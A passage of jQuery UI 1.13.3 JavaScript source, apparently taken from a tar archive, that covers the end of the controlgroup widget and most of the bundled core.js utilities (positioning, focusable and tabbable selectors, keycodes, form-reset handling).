input[type=reset], button, a", "controlgroupLabel": ".ui-controlgroup-label", "checkboxradio": "input[type='checkbox'], input[type='radio']", "selectmenu": "select", "spinner": ".ui-spinner-input" } }, _create: function() { this._enhance(); }, // To support the enhanced option in jQuery Mobile, we isolate DOM manipulation _enhance: function() { this.element.attr( "role", "toolbar" ); this.refresh(); }, _destroy: function() { this._callChildMethod( "destroy" ); this.childWidgets.removeData( "ui-controlgroup-data" ); this.element.removeAttr( "role" ); if ( this.options.items.controlgroupLabel ) { this.element .find( this.options.items.controlgroupLabel ) .find( ".ui-controlgroup-label-contents" ) .contents().unwrap(); } }, _initWidgets: function() { var that = this, childWidgets = []; // First we iterate over each of the items options $.each( this.options.items, function( widget, selector ) { var labels; var options = {}; // Make sure the widget has a selector set if ( !selector ) { return; } if ( widget === "controlgroupLabel" ) { labels = that.element.find( selector ); labels.each( function() { var element = $( this ); if ( element.children( ".ui-controlgroup-label-contents" ).length ) { return; } element.contents() .wrapAll( "<span class='ui-controlgroup-label-contents'></span>" ); } ); that._addClass( labels, null, "ui-widget ui-widget-content ui-state-default" ); childWidgets = childWidgets.concat( labels.get() ); return; } // Make sure the widget actually exists if ( !$.fn[ widget ] ) { return; } // We assume everything is in the middle to start because we can't determine // first / last elements until all enhancments are done. if ( that[ "_" + widget + "Options" ] ) { options = that[ "_" + widget + "Options" ]( "middle" ); } else { options = { classes: {} }; } // Find instances of this widget inside controlgroup and init them that.element .find( selector ) .each( function() { var element = $( this ); var instance = element[ widget ]( "instance" ); // We need to clone the default options for this type of widget to avoid // polluting the variable options which has a wider scope than a single widget. var instanceOptions = $.widget.extend( {}, options ); // If the button is the child of a spinner ignore it // TODO: Find a more generic solution if ( widget === "button" && element.parent( ".ui-spinner" ).length ) { return; } // Create the widget if it doesn't exist if ( !instance ) { instance = element[ widget ]()[ widget ]( "instance" ); } if ( instance ) { instanceOptions.classes = that._resolveClassesValues( instanceOptions.classes, instance ); } element[ widget ]( instanceOptions ); // Store an instance of the controlgroup to be able to reference // from the outermost element for changing options and refresh var widgetElement = element[ widget ]( "widget" ); $.data( widgetElement[ 0 ], "ui-controlgroup-data", instance ? instance : element[ widget ]( "instance" ) ); childWidgets.push( widgetElement[ 0 ] ); } ); } ); this.childWidgets = $( $.uniqueSort( childWidgets ) ); this._addClass( this.childWidgets, "ui-controlgroup-item" ); }, _callChildMethod: function( method ) { this.childWidgets.each( function() { var element = $( this ), data = element.data( "ui-controlgroup-data" ); if ( data && data[ method ] ) { data[ method ](); } } ); }, _updateCornerClass: function( element, position ) { var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"; var add = this._buildSimpleOptions( position, "label" ).classes.label; this._removeClass( element, null, remove ); this._addClass( element, null, add ); }, _buildSimpleOptions: function( position, key ) { var direction = this.options.direction === "vertical"; var result = { classes: {} }; result.classes[ key ] = { "middle": "", "first": "ui-corner-" + ( direction ? "top" : "left" ), "last": "ui-corner-" + ( direction ? "bottom" : "right" ), "only": "ui-corner-all" }[ position ]; return result; }, _spinnerOptions: function( position ) { var options = this._buildSimpleOptions( position, "ui-spinner" ); options.classes[ "ui-spinner-up" ] = ""; options.classes[ "ui-spinner-down" ] = ""; return options; }, _buttonOptions: function( position ) { return this._buildSimpleOptions( position, "ui-button" ); }, _checkboxradioOptions: function( position ) { return this._buildSimpleOptions( position, "ui-checkboxradio-label" ); }, _selectmenuOptions: function( position ) { var direction = this.options.direction === "vertical"; return { width: direction ? "auto" : false, classes: { middle: { "ui-selectmenu-button-open": "", "ui-selectmenu-button-closed": "" }, first: { "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ), "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" ) }, last: { "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr", "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" ) }, only: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" } }[ position ] }; }, _resolveClassesValues: function( classes, instance ) { var result = {}; $.each( classes, function( key ) { var current = instance.options.classes[ key ] || ""; current = String.prototype.trim.call( current.replace( controlgroupCornerRegex, "" ) ); result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " ); } ); return result; }, _setOption: function( key, value ) { if ( key === "direction" ) { this._removeClass( "ui-controlgroup-" + this.options.direction ); } this._super( key, value ); if ( key === "disabled" ) { this._callChildMethod( value ? "disable" : "enable" ); return; } this.refresh(); }, refresh: function() { var children, that = this; this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction ); if ( this.options.direction === "horizontal" ) { this._addClass( null, "ui-helper-clearfix" ); } this._initWidgets(); children = this.childWidgets; // We filter here because we need to track all childWidgets not just the visible ones if ( this.options.onlyVisible ) { children = children.filter( ":visible" ); } if ( children.length ) { // We do this last because we need to make sure all enhancment is done // before determining first and last $.each( [ "first", "last" ], function( index, value ) { var instance = children[ value ]().data( "ui-controlgroup-data" ); if ( instance && that[ "_" + instance.widgetName + "Options" ] ) { var options = that[ "_" + instance.widgetName + "Options" ]( children.length === 1 ? "only" : value ); options.classes = that._resolveClassesValues( options.classes, instance ); instance.element[ instance.widgetName ]( options ); } else { that._updateCornerClass( children[ value ](), value ); } } ); // Finally call the refresh method on each of the child widgets. this._callChildMethod( "refresh" ); } } } ); } ); jquery/ui/core.js 0000644 00000141340 15111757754 0010006 0 ustar 00 /*! jQuery UI - v1.13.3 - 2024-04-26 * https://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], factory ); } else { // Browser globals factory( jQuery ); } } ( function( $ ) { "use strict"; // Source: version.js $.ui = $.ui || {}; $.ui.version = "1.13.3"; // Source: data.js /*! * jQuery UI :data 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: :data Selector //>>group: Core //>>description: Selects elements which have data stored under the specified key. //>>docs: https://api.jqueryui.com/data-selector/ $.extend( $.expr.pseudos, { data: $.expr.createPseudo ? $.expr.createPseudo( function( dataName ) { return function( elem ) { return !!$.data( elem, dataName ); }; } ) : // Support: jQuery <1.8 function( elem, i, match ) { return !!$.data( elem, match[ 3 ] ); } } ); // Source: disable-selection.js /*! * jQuery UI Disable Selection 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: disableSelection //>>group: Core //>>description: Disable selection of text content within the set of matched elements. //>>docs: https://api.jqueryui.com/disableSelection/ // This file is deprecated $.fn.extend( { disableSelection: ( function() { var eventType = "onselectstart" in document.createElement( "div" ) ? "selectstart" : "mousedown"; return function() { return this.on( eventType + ".ui-disableSelection", function( event ) { event.preventDefault(); } ); }; } )(), enableSelection: function() { return this.off( ".ui-disableSelection" ); } } ); // Source: focusable.js /*! * jQuery UI Focusable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: :focusable Selector //>>group: Core //>>description: Selects elements which can be focused. //>>docs: https://api.jqueryui.com/focusable-selector/ // Selectors $.ui.focusable = function( element, hasTabindex ) { var map, mapName, img, focusableIfVisible, fieldset, nodeName = element.nodeName.toLowerCase(); if ( "area" === nodeName ) { map = element.parentNode; mapName = map.name; if ( !element.href || !mapName || map.nodeName.toLowerCase() !== "map" ) { return false; } img = $( "img[usemap='#" + mapName + "']" ); return img.length > 0 && img.is( ":visible" ); } if ( /^(input|select|textarea|button|object)$/.test( nodeName ) ) { focusableIfVisible = !element.disabled; if ( focusableIfVisible ) { // Form controls within a disabled fieldset are disabled. // However, controls within the fieldset's legend do not get disabled. // Since controls generally aren't placed inside legends, we skip // this portion of the check. fieldset = $( element ).closest( "fieldset" )[ 0 ]; if ( fieldset ) { focusableIfVisible = !fieldset.disabled; } } } else if ( "a" === nodeName ) { focusableIfVisible = element.href || hasTabindex; } else { focusableIfVisible = hasTabindex; } return focusableIfVisible && $( element ).is( ":visible" ) && visible( $( element ) ); }; // Support: IE 8 only // IE 8 doesn't resolve inherit to visible/hidden for computed values function visible( element ) { var visibility = element.css( "visibility" ); while ( visibility === "inherit" ) { element = element.parent(); visibility = element.css( "visibility" ); } return visibility === "visible"; } $.extend( $.expr.pseudos, { focusable: function( element ) { return $.ui.focusable( element, $.attr( element, "tabindex" ) != null ); } } ); // Support: IE8 Only // IE8 does not support the form attribute and when it is supplied. It overwrites the form prop // with a string, so we need to find the proper form. $.fn._form = function() { return typeof this[ 0 ].form === "string" ? this.closest( "form" ) : $( this[ 0 ].form ); }; // Source: form-reset-mixin.js /*! * jQuery UI Form Reset Mixin 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Form Reset Mixin //>>group: Core //>>description: Refresh input widgets when their form is reset //>>docs: https://api.jqueryui.com/form-reset-mixin/ $.ui.formResetMixin = { _formResetHandler: function() { var form = $( this ); // Wait for the form reset to actually happen before refreshing setTimeout( function() { var instances = form.data( "ui-form-reset-instances" ); $.each( instances, function() { this.refresh(); } ); } ); }, _bindFormResetHandler: function() { this.form = this.element._form(); if ( !this.form.length ) { return; } var instances = this.form.data( "ui-form-reset-instances" ) || []; if ( !instances.length ) { // We don't use _on() here because we use a single event handler per form this.form.on( "reset.ui-form-reset", this._formResetHandler ); } instances.push( this ); this.form.data( "ui-form-reset-instances", instances ); }, _unbindFormResetHandler: function() { if ( !this.form.length ) { return; } var instances = this.form.data( "ui-form-reset-instances" ); instances.splice( $.inArray( this, instances ), 1 ); if ( instances.length ) { this.form.data( "ui-form-reset-instances", instances ); } else { this.form .removeData( "ui-form-reset-instances" ) .off( "reset.ui-form-reset" ); } } }; // Source: ie.js // This file is deprecated $.ui.ie = !!/msie [\w.]+/.exec( navigator.userAgent.toLowerCase() ); // Source: jquery-patch.js /*! * jQuery UI Support for jQuery core 1.8.x and newer 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license * */ //>>label: jQuery 1.8+ Support //>>group: Core //>>description: Support version 1.8.x and newer of jQuery core // Support: jQuery 1.9.x or older // $.expr[ ":" ] is deprecated. if ( !$.expr.pseudos ) { $.expr.pseudos = $.expr[ ":" ]; } // Support: jQuery 1.11.x or older // $.unique has been renamed to $.uniqueSort if ( !$.uniqueSort ) { $.uniqueSort = $.unique; } // Support: jQuery 2.2.x or older. // This method has been defined in jQuery 3.0.0. // Code from https://github.com/jquery/jquery/blob/e539bac79e666bba95bba86d690b4e609dca2286/src/selector/escapeSelector.js if ( !$.escapeSelector ) { // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g; var fcssescape = function( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; }; $.escapeSelector = function( sel ) { return ( sel + "" ).replace( rcssescape, fcssescape ); }; } // Support: jQuery 3.4.x or older // These methods have been defined in jQuery 3.5.0. if ( !$.fn.even || !$.fn.odd ) { $.fn.extend( { even: function() { return this.filter( function( i ) { return i % 2 === 0; } ); }, odd: function() { return this.filter( function( i ) { return i % 2 === 1; } ); } } ); } // Source: keycode.js /*! * jQuery UI Keycode 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Keycode //>>group: Core //>>description: Provide keycodes as keynames //>>docs: https://api.jqueryui.com/jQuery.ui.keyCode/ $.ui.keyCode = { BACKSPACE: 8, COMMA: 188, DELETE: 46, DOWN: 40, END: 35, ENTER: 13, ESCAPE: 27, HOME: 36, LEFT: 37, PAGE_DOWN: 34, PAGE_UP: 33, PERIOD: 190, RIGHT: 39, SPACE: 32, TAB: 9, UP: 38 }; // Source: labels.js /*! * jQuery UI Labels 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: labels //>>group: Core //>>description: Find all the labels associated with a given input //>>docs: https://api.jqueryui.com/labels/ $.fn.labels = function() { var ancestor, selector, id, labels, ancestors; if ( !this.length ) { return this.pushStack( [] ); } // Check control.labels first if ( this[ 0 ].labels && this[ 0 ].labels.length ) { return this.pushStack( this[ 0 ].labels ); } // Support: IE <= 11, FF <= 37, Android <= 2.3 only // Above browsers do not support control.labels. Everything below is to support them // as well as document fragments. control.labels does not work on document fragments labels = this.eq( 0 ).parents( "label" ); // Look for the label based on the id id = this.attr( "id" ); if ( id ) { // We don't search against the document in case the element // is disconnected from the DOM ancestor = this.eq( 0 ).parents().last(); // Get a full set of top level ancestors ancestors = ancestor.add( ancestor.length ? ancestor.siblings() : this.siblings() ); // Create a selector for the label based on the id selector = "label[for='" + $.escapeSelector( id ) + "']"; labels = labels.add( ancestors.find( selector ).addBack( selector ) ); } // Return whatever we have found for labels return this.pushStack( labels ); }; // Source: plugin.js // $.ui.plugin is deprecated. Use $.widget() extensions instead. $.ui.plugin = { add: function( module, option, set ) { var i, proto = $.ui[ module ].prototype; for ( i in set ) { proto.plugins[ i ] = proto.plugins[ i ] || []; proto.plugins[ i ].push( [ option, set[ i ] ] ); } }, call: function( instance, name, args, allowDisconnected ) { var i, set = instance.plugins[ name ]; if ( !set ) { return; } if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) ) { return; } for ( i = 0; i < set.length; i++ ) { if ( instance.options[ set[ i ][ 0 ] ] ) { set[ i ][ 1 ].apply( instance.element, args ); } } } }; // Source: position.js /*! * jQuery UI Position 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license * * https://api.jqueryui.com/position/ */ //>>label: Position //>>group: Core //>>description: Positions elements relative to other elements. //>>docs: https://api.jqueryui.com/position/ //>>demos: https://jqueryui.com/position/ ( function() { var cachedScrollbarWidth, max = Math.max, abs = Math.abs, rhorizontal = /left|center|right/, rvertical = /top|center|bottom/, roffset = /[\+\-]\d+(\.[\d]+)?%?/, rposition = /^\w+/, rpercent = /%$/, _position = $.fn.position; function getOffsets( offsets, width, height ) { return [ parseFloat( offsets[ 0 ] ) * ( rpercent.test( offsets[ 0 ] ) ? width / 100 : 1 ), parseFloat( offsets[ 1 ] ) * ( rpercent.test( offsets[ 1 ] ) ? height / 100 : 1 ) ]; } function parseCss( element, property ) { return parseInt( $.css( element, property ), 10 ) || 0; } function isWindow( obj ) { return obj != null && obj === obj.window; } function getDimensions( elem ) { var raw = elem[ 0 ]; if ( raw.nodeType === 9 ) { return { width: elem.width(), height: elem.height(), offset: { top: 0, left: 0 } }; } if ( isWindow( raw ) ) { return { width: elem.width(), height: elem.height(), offset: { top: elem.scrollTop(), left: elem.scrollLeft() } }; } if ( raw.preventDefault ) { return { width: 0, height: 0, offset: { top: raw.pageY, left: raw.pageX } }; } return { width: elem.outerWidth(), height: elem.outerHeight(), offset: elem.offset() }; } $.position = { scrollbarWidth: function() { if ( cachedScrollbarWidth !== undefined ) { return cachedScrollbarWidth; } var w1, w2, div = $( "<div style=" + "'display:block;position:absolute;width:200px;height:200px;overflow:hidden;'>" + "<div style='height:300px;width:auto;'></div></div>" ), innerDiv = div.children()[ 0 ]; $( "body" ).append( div ); w1 = innerDiv.offsetWidth; div.css( "overflow", "scroll" ); w2 = innerDiv.offsetWidth; if ( w1 === w2 ) { w2 = div[ 0 ].clientWidth; } div.remove(); return ( cachedScrollbarWidth = w1 - w2 ); }, getScrollInfo: function( within ) { var overflowX = within.isWindow || within.isDocument ? "" : within.element.css( "overflow-x" ), overflowY = within.isWindow || within.isDocument ? "" : within.element.css( "overflow-y" ), hasOverflowX = overflowX === "scroll" || ( overflowX === "auto" && within.width < within.element[ 0 ].scrollWidth ), hasOverflowY = overflowY === "scroll" || ( overflowY === "auto" && within.height < within.element[ 0 ].scrollHeight ); return { width: hasOverflowY ? $.position.scrollbarWidth() : 0, height: hasOverflowX ? $.position.scrollbarWidth() : 0 }; }, getWithinInfo: function( element ) { var withinElement = $( element || window ), isElemWindow = isWindow( withinElement[ 0 ] ), isDocument = !!withinElement[ 0 ] && withinElement[ 0 ].nodeType === 9, hasOffset = !isElemWindow && !isDocument; return { element: withinElement, isWindow: isElemWindow, isDocument: isDocument, offset: hasOffset ? $( element ).offset() : { left: 0, top: 0 }, scrollLeft: withinElement.scrollLeft(), scrollTop: withinElement.scrollTop(), width: withinElement.outerWidth(), height: withinElement.outerHeight() }; } }; $.fn.position = function( options ) { if ( !options || !options.of ) { return _position.apply( this, arguments ); } // Make a copy, we don't want to modify arguments options = $.extend( {}, options ); var atOffset, targetWidth, targetHeight, targetOffset, basePosition, dimensions, // Make sure string options are treated as CSS selectors target = typeof options.of === "string" ? $( document ).find( options.of ) : $( options.of ), within = $.position.getWithinInfo( options.within ), scrollInfo = $.position.getScrollInfo( within ), collision = ( options.collision || "flip" ).split( " " ), offsets = {}; dimensions = getDimensions( target ); if ( target[ 0 ].preventDefault ) { // Force left top to allow flipping options.at = "left top"; } targetWidth = dimensions.width; targetHeight = dimensions.height; targetOffset = dimensions.offset; // Clone to reuse original targetOffset later basePosition = $.extend( {}, targetOffset ); // Force my and at to have valid horizontal and vertical positions // if a value is missing or invalid, it will be converted to center $.each( [ "my", "at" ], function() { var pos = ( options[ this ] || "" ).split( " " ), horizontalOffset, verticalOffset; if ( pos.length === 1 ) { pos = rhorizontal.test( pos[ 0 ] ) ? pos.concat( [ "center" ] ) : rvertical.test( pos[ 0 ] ) ? [ "center" ].concat( pos ) : [ "center", "center" ]; } pos[ 0 ] = rhorizontal.test( pos[ 0 ] ) ? pos[ 0 ] : "center"; pos[ 1 ] = rvertical.test( pos[ 1 ] ) ? pos[ 1 ] : "center"; // Calculate offsets horizontalOffset = roffset.exec( pos[ 0 ] ); verticalOffset = roffset.exec( pos[ 1 ] ); offsets[ this ] = [ horizontalOffset ? horizontalOffset[ 0 ] : 0, verticalOffset ? verticalOffset[ 0 ] : 0 ]; // Reduce to just the positions without the offsets options[ this ] = [ rposition.exec( pos[ 0 ] )[ 0 ], rposition.exec( pos[ 1 ] )[ 0 ] ]; } ); // Normalize collision option if ( collision.length === 1 ) { collision[ 1 ] = collision[ 0 ]; } if ( options.at[ 0 ] === "right" ) { basePosition.left += targetWidth; } else if ( options.at[ 0 ] === "center" ) { basePosition.left += targetWidth / 2; } if ( options.at[ 1 ] === "bottom" ) { basePosition.top += targetHeight; } else if ( options.at[ 1 ] === "center" ) { basePosition.top += targetHeight / 2; } atOffset = getOffsets( offsets.at, targetWidth, targetHeight ); basePosition.left += atOffset[ 0 ]; basePosition.top += atOffset[ 1 ]; return this.each( function() { var collisionPosition, using, elem = $( this ), elemWidth = elem.outerWidth(), elemHeight = elem.outerHeight(), marginLeft = parseCss( this, "marginLeft" ), marginTop = parseCss( this, "marginTop" ), collisionWidth = elemWidth + marginLeft + parseCss( this, "marginRight" ) + scrollInfo.width, collisionHeight = elemHeight + marginTop + parseCss( this, "marginBottom" ) + scrollInfo.height, position = $.extend( {}, basePosition ), myOffset = getOffsets( offsets.my, elem.outerWidth(), elem.outerHeight() ); if ( options.my[ 0 ] === "right" ) { position.left -= elemWidth; } else if ( options.my[ 0 ] === "center" ) { position.left -= elemWidth / 2; } if ( options.my[ 1 ] === "bottom" ) { position.top -= elemHeight; } else if ( options.my[ 1 ] === "center" ) { position.top -= elemHeight / 2; } position.left += myOffset[ 0 ]; position.top += myOffset[ 1 ]; collisionPosition = { marginLeft: marginLeft, marginTop: marginTop }; $.each( [ "left", "top" ], function( i, dir ) { if ( $.ui.position[ collision[ i ] ] ) { $.ui.position[ collision[ i ] ][ dir ]( position, { targetWidth: targetWidth, targetHeight: targetHeight, elemWidth: elemWidth, elemHeight: elemHeight, collisionPosition: collisionPosition, collisionWidth: collisionWidth, collisionHeight: collisionHeight, offset: [ atOffset[ 0 ] + myOffset[ 0 ], atOffset [ 1 ] + myOffset[ 1 ] ], my: options.my, at: options.at, within: within, elem: elem } ); } } ); if ( options.using ) { // Adds feedback as second argument to using callback, if present using = function( props ) { var left = targetOffset.left - position.left, right = left + targetWidth - elemWidth, top = targetOffset.top - position.top, bottom = top + targetHeight - elemHeight, feedback = { target: { element: target, left: targetOffset.left, top: targetOffset.top, width: targetWidth, height: targetHeight }, element: { element: elem, left: position.left, top: position.top, width: elemWidth, height: elemHeight }, horizontal: right < 0 ? "left" : left > 0 ? "right" : "center", vertical: bottom < 0 ? "top" : top > 0 ? "bottom" : "middle" }; if ( targetWidth < elemWidth && abs( left + right ) < targetWidth ) { feedback.horizontal = "center"; } if ( targetHeight < elemHeight && abs( top + bottom ) < targetHeight ) { feedback.vertical = "middle"; } if ( max( abs( left ), abs( right ) ) > max( abs( top ), abs( bottom ) ) ) { feedback.important = "horizontal"; } else { feedback.important = "vertical"; } options.using.call( this, props, feedback ); }; } elem.offset( $.extend( position, { using: using } ) ); } ); }; $.ui.position = { fit: { left: function( position, data ) { var within = data.within, withinOffset = within.isWindow ? within.scrollLeft : within.offset.left, outerWidth = within.width, collisionPosLeft = position.left - data.collisionPosition.marginLeft, overLeft = withinOffset - collisionPosLeft, overRight = collisionPosLeft + data.collisionWidth - outerWidth - withinOffset, newOverRight; // Element is wider than within if ( data.collisionWidth > outerWidth ) { // Element is initially over the left side of within if ( overLeft > 0 && overRight <= 0 ) { newOverRight = position.left + overLeft + data.collisionWidth - outerWidth - withinOffset; position.left += overLeft - newOverRight; // Element is initially over right side of within } else if ( overRight > 0 && overLeft <= 0 ) { position.left = withinOffset; // Element is initially over both left and right sides of within } else { if ( overLeft > overRight ) { position.left = withinOffset + outerWidth - data.collisionWidth; } else { position.left = withinOffset; } } // Too far left -> align with left edge } else if ( overLeft > 0 ) { position.left += overLeft; // Too far right -> align with right edge } else if ( overRight > 0 ) { position.left -= overRight; // Adjust based on position and margin } else { position.left = max( position.left - collisionPosLeft, position.left ); } }, top: function( position, data ) { var within = data.within, withinOffset = within.isWindow ? within.scrollTop : within.offset.top, outerHeight = data.within.height, collisionPosTop = position.top - data.collisionPosition.marginTop, overTop = withinOffset - collisionPosTop, overBottom = collisionPosTop + data.collisionHeight - outerHeight - withinOffset, newOverBottom; // Element is taller than within if ( data.collisionHeight > outerHeight ) { // Element is initially over the top of within if ( overTop > 0 && overBottom <= 0 ) { newOverBottom = position.top + overTop + data.collisionHeight - outerHeight - withinOffset; position.top += overTop - newOverBottom; // Element is initially over bottom of within } else if ( overBottom > 0 && overTop <= 0 ) { position.top = withinOffset; // Element is initially over both top and bottom of within } else { if ( overTop > overBottom ) { position.top = withinOffset + outerHeight - data.collisionHeight; } else { position.top = withinOffset; } } // Too far up -> align with top } else if ( overTop > 0 ) { position.top += overTop; // Too far down -> align with bottom edge } else if ( overBottom > 0 ) { position.top -= overBottom; // Adjust based on position and margin } else { position.top = max( position.top - collisionPosTop, position.top ); } } }, flip: { left: function( position, data ) { var within = data.within, withinOffset = within.offset.left + within.scrollLeft, outerWidth = within.width, offsetLeft = within.isWindow ? within.scrollLeft : within.offset.left, collisionPosLeft = position.left - data.collisionPosition.marginLeft, overLeft = collisionPosLeft - offsetLeft, overRight = collisionPosLeft + data.collisionWidth - outerWidth - offsetLeft, myOffset = data.my[ 0 ] === "left" ? -data.elemWidth : data.my[ 0 ] === "right" ? data.elemWidth : 0, atOffset = data.at[ 0 ] === "left" ? data.targetWidth : data.at[ 0 ] === "right" ? -data.targetWidth : 0, offset = -2 * data.offset[ 0 ], newOverRight, newOverLeft; if ( overLeft < 0 ) { newOverRight = position.left + myOffset + atOffset + offset + data.collisionWidth - outerWidth - withinOffset; if ( newOverRight < 0 || newOverRight < abs( overLeft ) ) { position.left += myOffset + atOffset + offset; } } else if ( overRight > 0 ) { newOverLeft = position.left - data.collisionPosition.marginLeft + myOffset + atOffset + offset - offsetLeft; if ( newOverLeft > 0 || abs( newOverLeft ) < overRight ) { position.left += myOffset + atOffset + offset; } } }, top: function( position, data ) { var within = data.within, withinOffset = within.offset.top + within.scrollTop, outerHeight = within.height, offsetTop = within.isWindow ? within.scrollTop : within.offset.top, collisionPosTop = position.top - data.collisionPosition.marginTop, overTop = collisionPosTop - offsetTop, overBottom = collisionPosTop + data.collisionHeight - outerHeight - offsetTop, top = data.my[ 1 ] === "top", myOffset = top ? -data.elemHeight : data.my[ 1 ] === "bottom" ? data.elemHeight : 0, atOffset = data.at[ 1 ] === "top" ? data.targetHeight : data.at[ 1 ] === "bottom" ? -data.targetHeight : 0, offset = -2 * data.offset[ 1 ], newOverTop, newOverBottom; if ( overTop < 0 ) { newOverBottom = position.top + myOffset + atOffset + offset + data.collisionHeight - outerHeight - withinOffset; if ( newOverBottom < 0 || newOverBottom < abs( overTop ) ) { position.top += myOffset + atOffset + offset; } } else if ( overBottom > 0 ) { newOverTop = position.top - data.collisionPosition.marginTop + myOffset + atOffset + offset - offsetTop; if ( newOverTop > 0 || abs( newOverTop ) < overBottom ) { position.top += myOffset + atOffset + offset; } } } }, flipfit: { left: function() { $.ui.position.flip.left.apply( this, arguments ); $.ui.position.fit.left.apply( this, arguments ); }, top: function() { $.ui.position.flip.top.apply( this, arguments ); $.ui.position.fit.top.apply( this, arguments ); } } }; } )(); // Source: safe-active-element.js $.ui.safeActiveElement = function( document ) { var activeElement; // Support: IE 9 only // IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe> try { activeElement = document.activeElement; } catch ( error ) { activeElement = document.body; } // Support: IE 9 - 11 only // IE may return null instead of an element // Interestingly, this only seems to occur when NOT in an iframe if ( !activeElement ) { activeElement = document.body; } // Support: IE 11 only // IE11 returns a seemingly empty object in some cases when accessing // document.activeElement from an <iframe> if ( !activeElement.nodeName ) { activeElement = document.body; } return activeElement; }; // Source: safe-blur.js $.ui.safeBlur = function( element ) { // Support: IE9 - 10 only // If the <body> is blurred, IE will switch windows, see #9420 if ( element && element.nodeName.toLowerCase() !== "body" ) { $( element ).trigger( "blur" ); } }; // Source: scroll-parent.js /*! * jQuery UI Scroll Parent 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: scrollParent //>>group: Core //>>description: Get the closest ancestor element that is scrollable. //>>docs: https://api.jqueryui.com/scrollParent/ $.fn.scrollParent = function( includeHidden ) { var position = this.css( "position" ), excludeStaticParent = position === "absolute", overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/, scrollParent = this.parents().filter( function() { var parent = $( this ); if ( excludeStaticParent && parent.css( "position" ) === "static" ) { return false; } return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) + parent.css( "overflow-x" ) ); } ).eq( 0 ); return position === "fixed" || !scrollParent.length ? $( this[ 0 ].ownerDocument || document ) : scrollParent; }; // Source: tabbable.js /*! * jQuery UI Tabbable 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: :tabbable Selector //>>group: Core //>>description: Selects elements which can be tabbed to. //>>docs: https://api.jqueryui.com/tabbable-selector/ $.extend( $.expr.pseudos, { tabbable: function( element ) { var tabIndex = $.attr( element, "tabindex" ), hasTabindex = tabIndex != null; return ( !hasTabindex || tabIndex >= 0 ) && $.ui.focusable( element, hasTabindex ); } } ); // Source: unique-id.js /*! * jQuery UI Unique ID 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: uniqueId //>>group: Core //>>description: Functions to generate and remove uniqueId's //>>docs: https://api.jqueryui.com/uniqueId/ $.fn.extend( { uniqueId: ( function() { var uuid = 0; return function() { return this.each( function() { if ( !this.id ) { this.id = "ui-id-" + ( ++uuid ); } } ); }; } )(), removeUniqueId: function() { return this.each( function() { if ( /^ui-id-\d+$/.test( this.id ) ) { $( this ).removeAttr( "id" ); } } ); } } ); // Source: widget.js /*! * jQuery UI Widget 1.13.3 * https://jqueryui.com * * Copyright OpenJS Foundation and other contributors * Released under the MIT license. * https://jquery.org/license */ //>>label: Widget //>>group: Core //>>description: Provides a factory for creating stateful widgets with a common API. //>>docs: https://api.jqueryui.com/jQuery.widget/ //>>demos: https://jqueryui.com/widget/ var widgetUuid = 0; var widgetHasOwnProperty = Array.prototype.hasOwnProperty; var 